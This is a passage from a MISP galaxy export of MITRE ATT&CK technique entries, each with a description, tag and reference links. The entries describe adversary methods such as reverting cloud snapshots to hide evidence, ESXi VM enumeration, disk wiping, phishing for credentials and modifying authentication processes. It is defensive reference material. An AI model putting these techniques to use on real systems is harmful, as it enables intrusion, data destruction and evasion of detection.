An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"*

Table 8564. Table References

Links
https://attack.mitre.org/techniques/T1536
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/

Test callback functionality - T1356

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356).

Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

The tag is: *misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"*

Table 8565. Table References

Links
https://attack.mitre.org/techniques/T1356

Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"*

Table 8566. Table References

Links
https://attack.mitre.org/techniques/T1538
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html

Remote Access Software - T1663

Adversaries may use legitimate remote access software, such as `VNC`, `TeamViewer`, `AirDroid`, `AirMirror`, etc., to establish an interactive command and control channel to target mobile devices.

Remote access applications may be installed and used post-compromise as an alternate communication channel for redundant access or as a way to establish an interactive remote session with the target device. They may also be used as a component of malware to establish a reverse connection to an adversary-controlled system or service. Installation of remote access tools may also include persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Access Software - T1663"*

Table 8567. Table References

Links
https://attack.mitre.org/techniques/T1663

Protected User Data - T1636

Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application's manifest. On iOS, they must be included in the application's `Info.plist` file.

In almost all cases, the user is required to grant access to the data store that the application is trying

to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user.

If the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Protected User Data - T1636"*

Table 8568. Table References

Links
https://attack.mitre.org/techniques/T1636
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Virtual Machine Discovery - T1673

An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list` or `vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host.

Adversaries may use the information from [Virtual Machine Discovery](https://attack.mitre.org/techniques/T1673) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://attack.mitre.org/techniques/T1489) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Machine Discovery - T1673"*

Table 8569. Table References

Links
https://attack.mitre.org/techniques/T1673
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html

Disseminate removable media - T1379

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).

Removable media containing malware can be injected in to a supply chain at large or small scale. It

can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

The tag is: *misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"*

Table 8570. Table References

Links
https://attack.mitre.org/techniques/T1379

Spearphishing for Information - T1397

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397).

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"*

Table 8571. Table References

Links
https://attack.mitre.org/techniques/T1397

Ingress Tool Transfer - T1544

Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.

The tag is: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544"*

Table 8572. Table References

Links
https://attack.mitre.org/techniques/T1544

Malicious SMS Message - T1454

Test

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"*

Table 8573. Table References

Links
https://attack.mitre.org/techniques/T1454

Supply Chain Compromise - T1474

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)

The tag is: *misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474"*

Table 8574. Table References

Links

https://attack.mitre.org/techniques/T1474
https://dl.acm.org/doi/10.1145/2185448.2185464
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html
https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/

Delete Device Data - T1447

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or

deleting attacker-specified files for impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447"*

Table 8575. Table References

Links
https://attack.mitre.org/techniques/T1447
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html

Carrier Billing Fraud - T1448

A malicious app may trigger fraudulent charges on a victim's carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.

Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)

Malicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)

On iOS, apps cannot send SMS messages.

On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

The tag is: *misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448"*

Table 8576. Table References

Links
https://attack.mitre.org/techniques/T1448
https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html
https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf

Runtime Data Manipulation - T1494

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime

manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"*

Table 8577. Table References

Links
https://attack.mitre.org/techniques/T1494
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Exploit Baseband Vulnerability - T1455

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

1. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"*

Table 8578. Table References

Links
https://attack.mitre.org/techniques/T1455

Event Triggered Execution - T1546

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim

via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"*

Table 8579. Table References

Links
https://attack.mitre.org/techniques/T1546
https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9
https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team
https://www.varonis.com/blog/power-automate-data-exfiltration
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Malicious Media Content - T1457

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"*

Table 8580. Table References

Links
https://attack.mitre.org/techniques/T1457

Hijack Execution Flow - T1574

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574"*

Table 8581. Table References

Links
https://attack.mitre.org/techniques/T1574
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

Plist File Modification - T1647

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](Launch Daemon (https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).

For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application's <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647"*

Table 8582. Table References

Links
https://attack.mitre.org/techniques/T1647
https://fileinfo.com/extension/plist
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf

Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"*

Table 8583. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1487
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.symantec.com/connect/blogs/shamoon-attacks

Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content.

To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"*

Table 8584. Table References

Links
https://attack.mitre.org/techniques/T1488
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

Modify Authentication Process - T1556

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556"*

Table 8585. Table References

Links
https://adsecurity.org/?p=2053
https://attack.mitre.org/techniques/T1556
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://www.secureworks.com/research/skeleton-key-malware-analysis
https://xorrior.com/persistent-credential-theft/

ESXi Administration Command - T1675

Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services)

Adversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`, `ListFileInGuest`, and `InitiateFileTransferFromGuest`.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Broadcom Running Guest OS Operations) This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083), [Data from Local System](https://attack.mitre.org/techniques/T1005), or [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).

The tag is: *misp-galaxy:mitre-attack-pattern="ESXi Administration Command - T1675"*

Table 8586. Table References

Links
https://attack.mitre.org/techniques/T1675
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/tools/12-4-0/vmware-tools-administration-12-4-0/introduction-to-vmware-tools/vmware-tools-service.html
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere-sdks-tools/8-0/web-services-sdk-programming-guide/virtual-machine-guest-operations/running-guest-os-operations.html

Uninstall Malicious Application - T1576

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.

- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: *misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576"*

Table 8587. Table References

Links
https://attack.mitre.org/techniques/T1576
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html

Compromise Application Executable - T1577

Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.

There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)

Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)

Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577"*

Table 8588. Table References

Links
https://attack.mitre.org/techniques/T1577
https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/
https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures

Search Closed Sources - T1597

Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Closed Sources - T1597"*

Table 8589. Table References

Links
https://attack.mitre.org/techniques/T1597
https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

Phishing for Information - T1598

Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

Phishing for information frequently involves social engineering techniques, such as posing as a

source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)

Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598"*

Table 8590. Table References

Links
https://attack.mitre.org/techniques/T1598
https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://github.com/ryhanson/phishery
https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing
https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
https://www.proofpoint.com/us/threat-reference/email-spoofing
https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html

Network Boundary Bridging - T1599

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and

untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599"*

Table 8591. Table References

Links
https://attack.mitre.org/techniques/T1599
https://securelist.com/lazarus-threatneedle/100803/

Poisoned Pipeline Execution - T1677

Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines:

